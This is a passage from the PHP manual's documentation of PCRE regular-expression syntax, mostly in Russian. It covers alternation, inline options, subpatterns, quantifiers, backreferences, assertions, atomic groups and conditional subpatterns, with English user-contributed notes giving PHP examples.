$stringL = preg_replace('/[[:graph:]]/', '', $stringG); // string(3) "  "

$stringM = preg_replace('/[[:lower:]]/', '', $stringG); // string(6) "V T: "
$stringN = preg_replace('/[[:^lower:]]/', '', $stringG); // string(16) "erticalabulation"

$stringO = preg_replace('/[[:^print:]]/', '', $stringG); // string(21) "Vertical Tabulation: "
$stringP = preg_replace('/[[:print:]]/', '', $stringG); // string(1) " "

$stringQ = preg_replace('/[[:punct:]]/', '', $stringG); // string(21) "Vertical Tabulation "
$stringR = preg_replace('/[[:^punct:]]/', '', $stringG); // string(1) ":"

$stringS = preg_replace('/[[:space:]]/', '', $stringG); // string(19) "VerticalTabulation:"
$stringT = preg_replace('/[[:^space:]]/', '', $stringG); // string(3) "  "

$stringU = preg_replace('/[[:upper:]]/', '', $stringG); // string(20) "ertical abulation: "
$stringV = preg_replace('/[[:^upper:]]/', '', $stringG); // string(2) "VT"

$stringW = preg_replace('/[[:word:]]/', '', $stringG); // string(4) " : "
$stringX = preg_replace('/[[:^word:]]/', '', $stringG); // string(18) "VerticalTabulation"

$stringY = preg_replace('/[[:xdigit:]]/', '', 'abcdefghijklmnopqrstuvwxyz0123456789'); // string(20) "ghijklmnopqrstuvwxyz"
$stringZ = preg_replace('/[[:^xdigit:]]/', '', 'abcdefghijklmnopqrstuvwxyz0123456789'); // string(16) "abcdef0123456789"
greaties at ghvernuft dot nl 18-Sep-2021 11:58
From deep down the PCRE manual at http://www.pcre.org/pcre.txt :

         \d     any decimal digit
         \D     any character that is not a decimal digit
         \h     any horizontal white space character
         \H     any character that is not a horizontal white space character
         \s     any white space character
         \S     any character that is not a white space character
         \v     any vertical white space character
         \V     any character that is not a vertical white space character
         \w     any "word" character
         \W     any "non-word" character
php at delegated dot net 04-Sep-2018 06:40
Some characters may not work as expected within a custom class. MS double quote for example is unrecognised when included in a class but is recognised otherwise.

ie:
<?php
preg_match_all('/<a href=("|")/')
?> will match but
<?php
preg_match_all('/<a href=[""]/')
?> will not
when applied to <a href="path">
wordragon at wrestingcontrol dot com 03-May-2018 04:52
The documentation says:

"The character types \d, \D, \s, \S, \w, and \W may also appear in a character class, and add the characters that they match to the class."

It does not stress that other escape types may not.  I wanted to split a string on either a comma (","), or a new line "\n".  When my input stream began to include "\r\n", I decided to change "\n" to "\R".  Unfortunately, my test string did not include a capital "R", or I might have found the problem sooner.  My '/[\R,]/' was simply splitting on comma and the letter "R".

My test string...
"The Yum-Yum Company\r\n127 bernard street"

What DID work: '/(?:\R|,)+/'

["The Yum-Yum Company","127 bernard street"]

Given character classes only match one character, I can see clearly why my expectations were justifiably dashed, but hopefully this comment will save time for someone else.

I might add, this has taught me the value of PCRE_EXTRA (modifier "X"), which I have begun to use routinely now.


Альтернативный выбор

Символ вертикальной черты «|» указывают для разделения альтернативных масок. Например, шаблон gilbert|sullivan соответствует как «gilbert», так и «sullivan». Допустимо указывать любое количество альтернатив, также допустимо указывать пустые альтернативы (соответствуют пустой строке). В процессе поиска соответствия просматриваются все перечисленные альтернативы слева направо, останавливаясь после первого найденного соответствия. Если альтернативные варианты перечислили в подшаблоне, то весь шаблон совпадёт только при соответствии одного из альтернативных вариантов подшаблона и остатка основного шаблона.

User Contributed Notes

There are no user contributed notes for this page.


Установка внутренних опций

Установки модификаторов PCRE_CASELESS, PCRE_MULTILINE, PCRE_DOTALL, PCRE_UNGREEDY, PCRE_EXTRA, PCRE_EXTENDED и PCRE_DUPNAMES, которые влияют на шаблон глобально, переопределяют внутри шаблона буквами внутренних опций языка Perl, которые указывают между символами «(?» и «)». Буквы опций:

Буквы внутренних опций
i | PCRE_CASELESS
m | PCRE_MULTILINE
s | PCRE_DOTALL
x | PCRE_EXTENDED
U | PCRE_UNGREEDY
X | PCRE_EXTRA (не поддерживается с PHP 7.3)
J | PCRE_INFO_JCHANGED

Шаблон (?im), например, устанавливает регистронезависимое многострочное сопоставление. Перед опцией, которую нужно сбросить, ставят символ «-» или комбинируют установку и отмену режимов. Запись (?im-sx), например, устанавливает флаги PCRE_CASELESS, PCRE_MULTILINE и отменяет флаги PCRE_DOTALL и PCRE_EXTENDED. Модуль отменит опцию, если символ расположили одновременно до и после символа «-».

Парсер применит изменение к оставшейся части шаблона, если опцию изменяют на верхнем уровне (т. е. вне круглых скобок подшаблона). Поэтому шаблон /ab(?i)c/ совпадёт только со значениями «abc» и «abC».

Эффект будет другим, если опцию изменяют внутри подшаблона. Это изменение поведения в Perl 5.005. Изменение опции внутри подшаблона повлияет только на ту часть шаблона, которая следует за ним, то есть шаблон (a(?i)b)c совпадёт с «abc» и «aBc» и больше ни с чем (разумеется, если не включили режим PCRE_CASELESS). Это означает, что опции умеют задавать разные настройки в разных частях шаблона. Изменения в одной альтернативе переносятся и в другие ветки в пределах того же подшаблона. Например, шаблон (a(?i)b|c) совпадёт с «ab», «aB», «c», и «C», хотя и при совпадении с «C» первая ветка была отброшена до установки опции. Это происходит потому, что модуль устанавливает опции на этапе компиляции. В противном случае поведение было бы странным.

Специфичные для модуля PCRE опции, например PCRE_UNGREEDY и PCRE_EXTRA, разрешено устанавливать так же, как и Perl-совместимые опции, — через символы U и X. Установка флага (?X) отличается тем, что должен быть расположен в шаблоне прежде, чем будет установлена любая другая дополнительная возможность, даже если его расположили на верхнем уровне. Рекомендовано размещать флаг (?X) в самом начале шаблона.

User Contributed Notes

mike at clove dot com 18-Mar-2010 07:48
When using the (?i:foo) syntax, it appears that the group is not included in the 'matches' argument unless it is nested in an additional set of parenthesis, for example: ((?i:foo))
mati_ at zenbe dot com 07-Jul-2009 12:14
There is also the possibility to enable Modifier only on a specific group, so that the Modifier doesn't stay valid until end or deactivation with "(?-<modifier>)".

The Syntax for that is "?<modifier>:" on the beginning of the group, i.e. (?i:foo) matches on FoO.


Подшаблоны

Подшаблоны ограничивают круглыми скобками, которым разрешено быть вложенными. Пометка части шаблона как подшаблона выполняет две функции:

  1. Локализирует набор альтернатив. Например, шаблон cat(aract|erpillar|) соответствует одному из слов «cat», «cataract» или «caterpillar». Без скобок он соответствовал бы строкам «cataract», «erpillar» или пустой строке.

  2. Настраивает подшаблон как подшаблон захвата подстроки, как показывает первый пункт. Функция модуля PCRE pcre_exec() через аргумент ovector возвращает вызывающей функции подстроку, которая соответствует подшаблону, когда совпадает полный шаблон. Функция подсчитывает открывающие круглые скобки с единицы слева направо, чтобы получить количество захватывающих подшаблонов.

Например, если строка «the red king» сопоставляется с шаблоном the ((red|white) (king|queen)), парсер захватит подстроки «red king», «red» и «king» с номерами 1, 2 и 3 соответственно.

В реальной жизни выполнение одновременно двух функций может оказаться неудобным. Бывают случаи, когда нужна группировка альтернатив без захвата строки. Если после открывающей круглой скобки идут символы «?:», захват строки не происходит, и текущий подшаблон не нумеруется. Например, если строка «the white queen» сопоставляется с шаблоном the ((?:red|white) (king|queen)), парсер захватит подстроки «white queen» и «queen» и пронумерует подстроки числами 1 и 2 соответственно. Максимальное количество захватывающих подшаблонов — 65 535. Такие большие шаблоны могут не скомпилироваться, в зависимости от настроек модуля libpcre.

Если в незахватывающем подшаблоне нужно указать дополнительные опции, пользуются удобным сокращением: символ, который обозначает устанавливаемую опцию, помещается между «?» и «:». Таким образом, следующие два шаблона

(?i:saturday|sunday)
(?:(?i)saturday|sunday)

соответствуют одному и тому же набору строк. Поскольку альтернативные версии берутся слева направо, и установленные опции сохраняют своё действие до конца подшаблона, опция, установленная в одной ветке, также имеет эффект во всех последующих ветках. Поэтому приведённые шаблоны совпадают как с «SUNDAY», так и с «Saturday».

Именованные подшаблона задают синтаксисом (?P<name>pattern). Этот подшаблон будет индексирован в массиве совпадений кроме обычного числового индекса, ещё и по имени name. Именованные подшаблоны записывают двумя альтернативными синтаксисами: (?<name>pattern) и (?'name'pattern).

Иногда необходимо иметь несколько совпадений, которые исключают друг друга. Обычно, каждое такое совпадение получает свой собственный номер, даже если шаблон разрешает совпасть только одному из них. Синтаксис (?| даёт обойти это поведение и убрать дублирующиеся номера. Рассмотрим следующее регулярное выражение, сопоставленное со строкой Sunday:

(?:(Sat)ur|(Sun))day

Здесь парсер сохраняет значение Sun в ссылке 2, тогда как ссылка 1 пуста. В результате сопоставления Saturday в обратной ссылке 1 появляется Sat, в то время как обратная ссылка 2 не существует. Запись (?| в шаблоне решает эту проблему:

(?|(Sat)ur|(Sun))day

В этом шаблоне оба подшаблона Sun и Sat парсер сохранят под номером 1.

User Contributed Notes

mike at eastghost dot com 25-Mar-2015 03:46
(?:(?!string).)

?: makes a subpattern

?! is a negative look-ahead.

Putting negative look-ahead before the dot causes regex engine to first find any occurrence of the negative look-ahead string, and only then, if the negative look-ahead string is not present, should an arbitrary character (due to the dot) match.


Повторение

Повторение определяется квантификаторами, которые идут за любым из указанных элементов:

  • одним символом, возможно, экранированным
  • метасимволом «точка»
  • символьным классом
  • ссылкой на предыдущий фрагмент шаблона (смотрите следующий раздел)
  • взятым в круглые скобки подшаблоном (если это не утверждение — смотрите далее)

Общий квантификатор повторения указывает минимальное и максимальное допустимое количество совпадений, согласно двум числам в фигурных скобках, разделённым запятой. Числа должны быть меньше чем 65 536, и первое число не должно превышать второе по значению. Например: z{2,4} соответствует «zz», «zzz» или «zzzz». Закрывающая фигурная скобка сама по себе — не специальный символ. Если второе число опустили, но запятую поставили, нет верхнего предела; Если и второе число, и запятую опустили, требуется точное число повторений. Поэтому шаблон [aeiou]{3,} соответствует как минимум трём последовательным гласным, а также любому количеству гласных выше трёх, тогда как шаблон \d{8} соответствует ровно восьми цифрам. Открывающая фигурная скобка, расположенная в недопустимой для квантификатора позиции, либо не соответствующая синтаксису квантификатора, интерпретируется как обыкновенная символьная строка. Например, {,6} — не квантификатор, а интерпретируется как символьная строка из четырёх символов.

Квантификатор {0} — допустим и ведёт себя таким образом, будто бы сам квантификатор и предшествующий ему элемент отсутствуют.

Для удобства, а так же обратной совместимости, у трёх наиболее распространённых квантификатора односимвольные аббревиатуры:

Односимвольные квантификаторы
* | эквивалентен {0,}
+ | эквивалентен {1,}
? | эквивалентен {0,1}

Можно конструировать бесконечные циклы, указав после шаблона, который совпадает с пустой строкой, квантификатор без верхнего предела, например: (a?)*

Ранние версии языка Perl и модуля PCRE выдавали ошибку во время компиляции для таких шаблонов. Однако, поскольку бывают случаи, когда подобные шаблоны могли бы быть полезны, была добавлена поддержка таких шаблонов. Но если любое повторение такого подшаблона фактически не совпадает ни с какими символами, цикл принудительно прерывается.

По умолчанию все квантификаторы — «жадные», это означает, что они совпадают максимально возможное количество раз (но не более, чем максимально допустимое), и не останавливают сопоставление остальных частей шаблона. Классический пример проблем, которые могут возникнуть в связи с такой особенностью квантификаторов, — попытка найти комментарии в программах, которые написали на языке C. Комментарием признаётся произвольный текст внутри символьных комбинаций /* и */ (при этом, символы «/» и «*» тоже могут быть частью комментария). Попытка найти комментарии через шаблон /\*.*\*/ в строке /* первый комментарий */ не комментарий /* второй комментарий */ закончится неудачей, поскольку указанный шаблон соответствует всей строке целиком (из-за жадности квантификатора «*»).

Однако, если сразу же после квантификатора идёт вопросительный знак, квантификатор становится «ленивым» и соответствует минимально допустимому количеству раз. Поэтому шаблон /\*.*?\*/ корректно находит комментарии языка C. Знак «?» после квантификатора влияет только на его жадность, и не влияет на другие свойства. Не нужно путать квантификатор «?» (ноль или одно соответствие) ограничитель жадности. Из-за его двойственности пользуются следующей записью: \d??\d, которая, в первую очередь, соответствует одной цифре, но также может соответствовать и двум цифрам, если это необходимо для соответствия остальных частей шаблона.

Если установили опцию PCRE_UNGREEDY (которой нет в языке Perl), квантификаторы перестают быть жадными по умолчанию, но могут становиться жадными, если за ними идёт символ «?». Говоря другими словами, знак вопроса инвертирует жадность квантификаторов.

Квантификаторы, за которыми идёт символ +, — «захватывающие». Они поглощают столько символов, сколько могут, и не возвращаются обратно для совпадения остатка шаблона. Поэтому шаблон .*abc совпадёт с «aabc», а .*+abc — нет, потому что подшаблон .*+ захватит всю строку целиком. Захватывающими квантификаторами пользуются для ускорения обработки.

Если задали подшаблон с квантификатором, для которого установили минимальное количество повторений (больше одного), либо задали максимальное количество повторений, то для откомпилированного шаблона требуется больше памяти (пропорционально минимуму либо максимуму соответственно).

Если шаблон начинается с символов .* либо .{0,} и установили модификатор PCRE_DOTALL (аналог Perl-опции /s), который разрешает метасимволу «точка» соответствовать переводам строк, шаблон неявно заякоривается. Это происходит потому, что все последующие конструкции парсер будет сопоставлять с каждой символьной позицией в обрабатываемом тексте, и, как следствие, начало строки — единственная позиция, которая даёт наиболее полное совпадение. Модуль PCRE рассматривает каждый такой шаблон, как если бы ему предшествовала последовательность \A. Если известно, что данные не содержат переводов строк, а сам шаблон начинается с символов .*, рекомендуется использовать модификатор PCRE_DOTALL для оптимизации шаблона, либо указывать метасимвол «^» для явного заякоривания.

Если захватывающий подшаблон повторяется, результирующим значением подшаблона будет подстрока, которая совпадает с результатом последней итерации. Например, когда шаблон (tweedle[dume]{3}\s*)+ совпадёт со значением «tweedledum tweedledee», результирующим значением подшаблона будет значение «tweedledee». Однако, если присутствуют вложенные захватывающие подшаблоны, значения, которые соответствуют этим подшаблонам, допускается устанавливать в предыдущих итерациях. Например, когда шаблон /(a|(b))+/ совпадёт со значением «aba», значением второй захваченной подстроки будет значение «b».

User Contributed Notes

There are no user contributed notes for this page.


Обратные ссылки

Вне символьного класса модуль интерпретирует обратный слеш, за которым идёт цифра больше 0 (и, возможно, дополнительные цифры), как обратную ссылку на подшаблон, который раньше в шаблоне захватили круглые скобки, при условии, что было столько предыдущих захватывающих открывающих круглых скобок.

Однако, если число, которое следует за обратным слешем, меньше 10, оно всегда интерпретируется как обратная ссылка, и приводит к ошибке только тогда, когда нет соответствующего числа открывающих скобок. Другими словами, открывающие скобки не обязаны предшествовать ссылке для чисел меньше 10. «Упреждающая обратная ссылка» может иметь смысл, если используется повторение и более поздний подшаблон участвует в ранней итерации. Раздел «Экранирующие последовательности» даёт дополнительные сведения об обработке цифр, которые идут за обратным слешем.

Обратная ссылка сопоставляется с частью строки, которую захватил соответствующий подшаблон, но не с самим подшаблоном. Поэтому шаблон (sens|respons)e and \1ibility соответствует значениям «sense and sensibility» и «response and responsibility», но не «sense and responsibility». При сопоставлении обратной ссылки парсер также будет учитывать регистр, если обнаружит обратную ссылку во время регистрозависимого поиска. Например, шаблон ((?i)rah)\s+\1 соответствует значениям «rah rah» и «RAH RAH», но не «RAH rah», хотя сам подшаблон сопоставляется без учёта регистра.

На один и тот же подшаблон разрешено устанавливать несколько ссылок. Если подшаблон не участвовал в сопоставлении, то сопоставление со ссылкой на неё всегда терпит неудачу. Например, шаблон (a|(bc))\2 терпит неудачу, если находит соответствие с «a» раньше, чем с «bc». Поскольку может быть до 99 обратных ссылок, все цифры, следующие за обратным слешем, рассматриваются как часть потенциальной обратной ссылки. Если за ссылкой должна следовать цифра, необходимо использовать ограничитель. Если указан флаг PCRE_EXTENDED, ограничителем может быть любой пробельный символ. В противном случае можно использовать пустой комментарий.

Ссылка на подшаблон, внутри которого она расположена, терпит неудачу, если это первое сопоставление текущего подшаблона. Например, шаблон (a\1) не соответствует ни одной строке. Но всё же такие ссылки бывают полезны в повторяющихся подшаблонах. Например, шаблон (a|b\1)+ совпадает с любым количеством «a», «aba», «ababaa»... При каждой итерации подшаблона обратная ссылка соответствует той части строки, которая была захвачена при предыдущей итерации. Чтобы такая конструкция работала, шаблон должен быть построен так, чтобы при первой итерации сопоставление с обратной ссылкой не производилось. Этого можно достичь, используя альтернативы (как в предыдущем примере), либо квантификаторы с минимумом, равным нулю.

Управляющую последовательность \g указывают для абсолютных и относительных ссылок на подшаблоны. После этой последовательности должно быть указано беззнаковое или отрицательное число, при желании заключённое в фигурные скобки. Последовательности \1, \g1 и \g{1} эквивалентны друг другу. Использование этого шаблона с беззнаковым числом поможет избежать двусмысленности, присущей числам после обратного слеша. Это также помогает отличить обратные ссылки от символов в восьмеричном формате, а также упрощает запись числового литерала сразу после обратной ссылки, например, \g{2}1.

Использование отрицательных чисел с \g полезно при использовании относительных ссылок. Например, (foo)(bar)\g{-1} соответствует «foobarbar», а (foo)(bar)\g{-2} соответствует «foobarfoo». Это также может быть полезно в длинных шаблонах, как альтернатива отслеживания числа подшаблонов, на которые можно ссылаться в последующей части шаблона.

Обратную ссылку на именованный подшаблон указывают следующими записями: (?P=name), \k<name>, \k'name', \k{name}, \g{name}, \g<name> или \g'name'.

User Contributed Notes

Steve 12-Oct-2022 09:22
The escape sequence \g used as a backreference may not always behave as expected.
The following numbered backreferences refer to the text matching the specified capture group, as documented:
\1
\g1
\g{1}
\g-1
\g{-1}

However, the following variants refer to the subpattern code instead of the matched text:
\g<1>
\g'1'
\g<-1>
\g'-1'

With named backreferences, we may also use the \k escape sequence as well as the (?P=...) construct. The following combinations also refer to the text matching the named capture group, as documented:
\g{name}
\k{name}
\k<name>
\k'name'
(?P=name)

However, these refer to the subpattern code instead of the matched text:
g<name>
\g'name'

In the following example, the capture group searches for a single letter 'a' or 'b', and then the backreference looks for the same letter. Thus, the patterns are expected to match 'aa' and 'bb', but not 'ab' nor 'ba'.

<?php
/* Matches to the following patterns are replaced by 'xx' in the subject string 'aa ab ba bb'. */
$patterns = [
  # numbered backreferences (absolute)
  '/([ab])\1/',      // 'xx ab ba xx'
  '/([ab])\g1/',     // 'xx ab ba xx'
  '/([ab])\g{1}/',   // 'xx ab ba xx'
  '/([ab])\g<1>/',   // 'xx xx xx xx' # unexpected behavior, backreference matches both 'a' and 'b'.
  "/([ab])\g'1'/",   // 'xx xx xx xx' # unexpected behavior, backreference matches both 'a' and 'b'.
  '/([ab])\k{1}/',   // 'aa ab ba bb' # No group with name "1", backreference to unset group always fails.
  '/([ab])\k<1>/',   // 'aa ab ba bb' # No group with name "1", backreference to unset group always fails.
  "/([ab])\k'1'/",   // 'aa ab ba bb' # No group with name "1", backreference to unset group always fails.
  '/([ab])(?P=1)/',  // NULL # Regex error: "subpattern name must start with a non-digit", (?P=) expects name not number.
  # numbered backreferences (relative)
  '/([ab])\-1/',     // 'aa ab ba bb'
  '/([ab])\g-1/',    // 'xx ab ba xx'
  '/([ab])\g{-1}/',  // 'xx ab ba xx'
  '/([ab])\g<-1>/',  // 'xx xx xx xx' # unexpected behavior, backreference matches both 'a' and 'b'.
  "/([ab])\g'-1'/",  // 'xx xx xx xx' # unexpected behavior, backreference matches both 'a' and 'b'.
  '/([ab])\k{-1}/',  // 'aa ab ba bb' # No group with name "-1", backreference to unset group always fails.
  '/([ab])\k<-1>/',  // 'aa ab ba bb' # No group with name "-1", backreference to unset group always fails.
  "/([ab])\k'-1'/",  // 'aa ab ba bb' # No group with name "-1", backreference to unset group always fails.
  '/([ab])(?P=-1)/', // NULL # Regex error: "subpattern name expected", (?P=) expects name not number.
  # named backreferences
  '/(?<name>[ab])\g{name}/',  // 'xx ab ba xx'
  '/(?<name>[ab])\g<name>/',  // 'xx xx xx xx' # unexpected behavior, backreference matches both 'a' and 'b'.
  "/(?<name>[ab])\g'name'/",  // 'xx xx xx xx' # unexpected behavior, backreference matches both 'a' and 'b'.
  '/(?<name>[ab])\k{name}/',  // 'xx ab ba xx'
  '/(?<name>[ab])\k<name>/',  // 'xx ab ba xx'
  "/(?<name>[ab])\k'name'/",  // 'xx ab ba xx'
  '/(?<name>[ab])(?P=name)/', // 'xx ab ba xx'
];

foreach ($patterns as $pat)
    echo "  '$pat',\t// " . var_export(@preg_replace($pat, 'xx', 'aa ab ba bb'), 1) . PHP_EOL;
?>
mnvx at yandex dot ru 07-Jul-2016 09:35
Something similar opportunity is DEFINE.

Example:
    (?(DEFINE)(?<myname>\bvery\b))(?&myname)\p{Pd}(?&myname).

Expression above will match "very-very" from next sentence:
    Define is very-very handy sometimes.
              ^-------^

How it works. (?(DEFINE)(?<myname>\bvery\b)) - this block defines "myname" equal to "\bvery\b". So, this block "(?&myname)\p{Pd}(?&myname)" equvivalent to "\bvery\b\p{Pd}\bvery\b".


Утверждения

Утверждения — проверка символов, которые идут до или после текущей позиции сопоставления, которая фактически не включает никаких символов (символы входной строки не сопоставляются с утверждениями). Наиболее простые варианты утверждений, например \b, \B, \A, \Z, \z, ^ и $, рассматривает раздел «Экранирующие последовательности». Более сложные утверждения записываются как подшаблоны. Утверждения бывают двух видов: те, которые анализируют текст, следующий после текущей позиции (look ahead), и идущий перед ней (look behind).

Сопоставление подшаблонов, которые содержат утверждение, выполняют обычным образом, за исключением того, что текущая позиция не изменяется. Утверждения касательно последующего текста начинаются с (?= для положительных утверждений и с (?! для отрицающих утверждений. Например, \w+(?=;) совпадает со словом, за которым следует символ «;», но при этом сама точка с запятой в совпадение не включается. А foo(?!bar) соответствует любому появлению «foo», после которого не идёт «bar». Заметим, что похожий шаблон (?!foo)bar не будет искать вхождение «bar», которому предшествует любая строка за исключением «foo». Но, тем не менее, он будет соответствовать любым вхождениям подстроки «bar», поскольку условие (?!foo) всегда true, если следующие три символа — «bar». Для получения желаемого результата необходимо воспользоваться второй категорией утверждений.

Утверждения касательно предшествующего текста начинаются с (?<= для положительных утверждений и (?<! для отрицающих. Например, (?<!foo)bar найдёт вхождения «bar», которым не предшествует «foo». Сами утверждения «назад» ограничены так, чтобы все подстроки, которым они соответствуют, имели фиксированную длину. Но, Если используются несколько альтернатив, они не обязаны иметь одинаковую длину. Таким образом шаблон (?<=bullock|donkey) корректен, но (?<!dogs?|cats?) вызовет ошибку во время компиляции. Ветки, которые соответствуют строкам разной длины, разрешены только на верхнем уровне утверждений касательно предшествующего текста. Это расширение относительно Perl 5.005, который требует чтобы все ветки соответствовали строкам одинаковой длины. Такое утверждение как (?<=ab(c|de)) не корректно, поскольку верхний уровень маски может соответствовать строкам разной длины, но его можно преобразовать к корректному шаблону, используя альтернативы на верхнем уровне: (?<=abc|abde) Утверждения касательно предшествующего текста реализованы так, что для каждой альтернативы текущая позиция временно переносится назад, на фиксированную ширину, после чего выполняется поиск соответствия условию. Если перед текущей позицией недостаточно символов, поиск соответствия терпит неудачу. Утверждения назад в сочетании с однократными подшаблонами удобны для поиска в конце строки; соответствующий пример приведён в конце раздела «Однократные подшаблоны».

Несколько утверждений (разных типов) могут присутствовать в утверждении, например: (?<=\d{3})(?<!999)foo совпадает с подстрокой «foo», которой предшествуют три цифры, отличные от «999». Следует понимать, что каждое из утверждений проверяется относительно одной и той же позиции в обрабатываемом тексте. Вначале выполняется проверка того, что предшествующие три символа — это цифры, затем проверяется, чтобы эти же цифры не являлись числом 999. Приведённый выше шаблон не соответствует подстроке «foo», которой предшествуют шесть символов, первые три из которых — цифры, а последние три не образуют «999». Например, он не соответствует строке «123abcfoo», в то время как шаблон (?<=\d{3}...)(?<!999)foo соответствует.

В этом случае анализируются предшествующие шесть символов на предмет того, чтобы первые три из них были цифрами, а последние три не образовали «999».

Утверждения могут быть вложенными, причём в произвольных сочетаниях: (?<=(?<!foo)bar)baz соответствует подстроке «baz», которой предшествует «bar», перед которой, в свою очередь, нет «foo», а (?<=\d{3}...(?<!999))foo — совершенно другой шаблон, соответствующий подстроке «foo», которой предшествуют три цифры и три произвольных символа, отличных от «999».

Утверждающие подшаблоны — незахватывающие и неповторяемые, поскольку бессмысленно повторять одно и то же несколько раз. Если в утверждении произвольного типа находится захватывающий подшаблон, он нумеруется в той же последовательности, что и все остальные захватывающие подшаблоны, но захват соответствующих значений происходит только для положительных утверждений, поскольку для отрицающих это не имеет смысла.

В утверждениях обрабатывается не более 200 захватывающих подшаблонов.

User Contributed Notes

There are no user contributed notes for this page.


Однократные подшаблоны

Как для минимального, так и для максимального количества повторений, если следующая часть шаблона при сопоставлении завершается неудачно, начинается повторный анализ повторяемого выражения на предмет того, возможно ли успешное сопоставление всего шаблона при другом количестве повторений. Бывают случаи, когда необходимо изменить описанную логику работы для реализации специфического сопоставления либо оптимизации шаблона (если автор уверен, что других вариантов соответствия нет).

В качестве примера, рассмотрим шаблон \d+foo в применении к строке 123456bar

После того, как \d+ будет сопоставлен с первыми шестью цифрами, сопоставление «foo» потерпит неудачу. После этого, в соответствие \d+, будет сопоставлено 5 цифр, после очередной неудачи будет сопоставлено 4 цифры и так далее. В конце концов весь шаблон потерпит неудачу. Однократные подшаблоны указывают, что если одна часть шаблона была сопоставлена, её не стоит анализировать повторно. Применимо к приведённому выше примеру весь шаблон потерпел бы неудачу после первого же неудачного сопоставления с «foo». Записываются однократные шаблоны при помощи круглых скобок следующим образом: (?>. Например: (?>\d+)bar

Этот вид подшаблона предотвращает повторный анализ подшаблона, если сопоставление последующих элементов терпит неудачу. Однако это не мешает повторно анализировать любые другие элементы, в том числе те, которые предшествуют однократному подшаблону.

Говоря другими словами, подшаблоны такого типа соответствуют той части подстроки, которой соответствовала бы одиночная изолированная маска, заякоренная на текущей позиции обрабатываемого текста.

Однократные подшаблоны — незахватывающие. Простые примеры, подобные приведённому, можно охарактеризовать как безусловный захват максимального количества повторений. В то время как \d+ и \d+? корректируются так, чтобы остальные части шаблона так же совпали, (?>\d+) соответствует исключительно максимальной по длине последовательности цифр, даже если это приводит к неудаче при сопоставлении других частей шаблона.

Однократным подшаблонам разрешено включать в себя более сложные конструкции и быть вложенными.

Однократные подшаблоны разрешено указывать совместно с утверждениями, которые касаются предыдущего текста для описания эффективных сопоставлений в конце обрабатываемого текста. Рассмотрим простой шаблон abcd$ в применении к длинному тексту, который не соответствует указанной маске. Поскольку поиск происходит слева направо, вначале PCRE будет искать букву «a», и только потом анализировать следующие записи в шаблоне. Если шаблон указан в виде ^.*abcd$. В этой ситуации вначале .* сопоставляется со всей строкой, после чего сопоставление терпит неудачу (так как нет последующего символа «a»). После чего .* сопоставляется со всей строкой, кроме последнего символа, потом кроме двух последних символов, и так далее. В конечном итоге поиск символа «a» происходит по всей строке. Однако, если шаблон записать в виде: ^(?>.*)(?<=abcd) повторный анализ для .* не выполняется, и, как следствие, может соответствовать только всей строке целиком. После чего утверждение проверяет последние четыре символа на совпадение с «abcd», и в случае неудачи все сопоставление терпит неудачу. Для больших объёмов обрабатываемого текста этот подход имеет значительный выигрыш во времени выполнения.

Если шаблон содержит неограниченное повторение внутри подшаблона, который в свою очередь также может повторяться неограниченное количество раз, однократные подшаблоны помогают избегать многократных неудачных сопоставлений, которые длятся достаточно продолжительное время. Шаблон (\D+|<\d+>)*[!?] соответствует неограниченному количеству подстрок, которые состоят не из цифр, либо из цифр заключённых в <>, за которыми следует ? либо !. Если в обрабатываемом тексте содержатся соответствия, время работы регулярного выражения будет невелико. Но если его применить к строке aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa это займёт длительное время. Это связанно с тем, что строка может быть разделена между двумя частями шаблона многими способами, и все они будут опробованы (в примере мы использовали [?!], поскольку в случае одиночного символа в конце шаблона и PCRE и Perl выполняют оптимизацию. Они запоминают последний одиночный символ и в случае его отсутствия выдают неудачу). Если изменить шаблон на ((?>\D+)|<\d+>)*[!?], не цифровые последовательности не могут быть разорваны, и невозможность сопоставления обнаруживается гораздо быстрее.

User Contributed Notes

Anonymous 21-Jul-2022 09:21
Never put a "once-only subpattern" (?>...) in a "one-line" comment (#, //).
I spent almost 1 day to fix it.
Use a 'C' style comment instead !

PHP Manual says, a "one-line" comment (# , //) ends just before "?>" (PHP end tag).

These letters "?>" in a "one-line" comment (# , //) seems evaluated as a PHP end tag.

<?php

/*    (?> */
echo '"C" style comment works !<br>';

#    (?>
echo '"one-line" comment';

?>


Условные подшаблоны

В модуле PCRE реализована возможность подчинять шаблон условию или выбирать из двух условных подшаблонов, в зависимости от успеха сопоставления предыдущего подшаблона. У условных подшаблонов две допустимые формы:

(?(condition)yes-pattern)
(?(condition)yes-pattern|no-pattern)

При успешном сопоставлении условия condition будет выбран подшаблон yes-pattern, иначе — no-pattern, если он есть. Если указали более двух альтернатив, парсер выдаст ошибку времени компиляции.

Условия бывают двух видов. Если между скобками заключены цифры, условие будет выполняться в том случае, если подшаблон с соответствующим номером был успешно сопоставлен. Рассмотрим следующий шаблон (он содержит незначащий пробел для удобства чтения, подразумевается использование модификатора PCRE_EXTENDED), разделив его для удобства на три смысловые части:

( \( )?    [^()]+    (?(1) \) )

Первая часть соответствует опциональной открывающей скобке, и в случае если она присутствует, захватывает её как значение первого подшаблона. Следующая часть соответствует одному или более символам, которые отличаются от круглой скобки. Третья часть — условный подшаблон, который зависит от результата сопоставления первого подшаблона. Если в начале обрабатываемых данных парсер обнаружил открывающую круглую скобку, условие будет интерпретировано как истина, и, следовательно, для успешного сопоставления третьей части шаблона необходима закрывающая круглая скобка. В противном случае, поскольку вторую ветвь условного шаблона не указали, парсер сопоставит третью часть с пустой строкой. Суммируя все вышесказанное, приведённый шаблон совпадает с последовательностью не-скобок, возможно, заключённой в круглые скобки.

Если условие — строка (R), парсер выполнит условие, если будет произведён рекурсивный вызов к шаблону или подшаблону. На «самом верхнем уровне» условие ложно.

Если условие не является последовательностью цифр или (R), оно должно быть утверждением. Это может быть либо положительная или отрицательная проверка последующего либо предыдущего текста. Рассмотрим данный шаблон, снова содержащий незначащие пробелы, с двумя альтернативами на второй строке:

(?(?=[^a-z]*[a-z])
\d{2}-[a-z]{3}-\d{2}  |  \d{2}-\d{2}-\d{2} )

Приведён пример с утверждающим условием касательно предшествующего текста, которое выполняется для необязательной последовательности не-букв с последующей буквой. Говоря другими словами, указанное условие проверяет наличие хотя бы одной предшествующей буквы. Если буква найдена, выполняется сопоставление с первой альтернативой, в противном случае — со второй альтернативой. Приведённый шаблон соответствует строкам двух видов: dd-aaa-dd либо dd-dd-dd, где aaaa — это буквы, а dd — цифры.

User Contributed Notes

Anonymous 06-Feb-2011 09:26
Repetition of a subpattern will repeat conditionals that are contained inside it, updating subpattern matches with iteration.

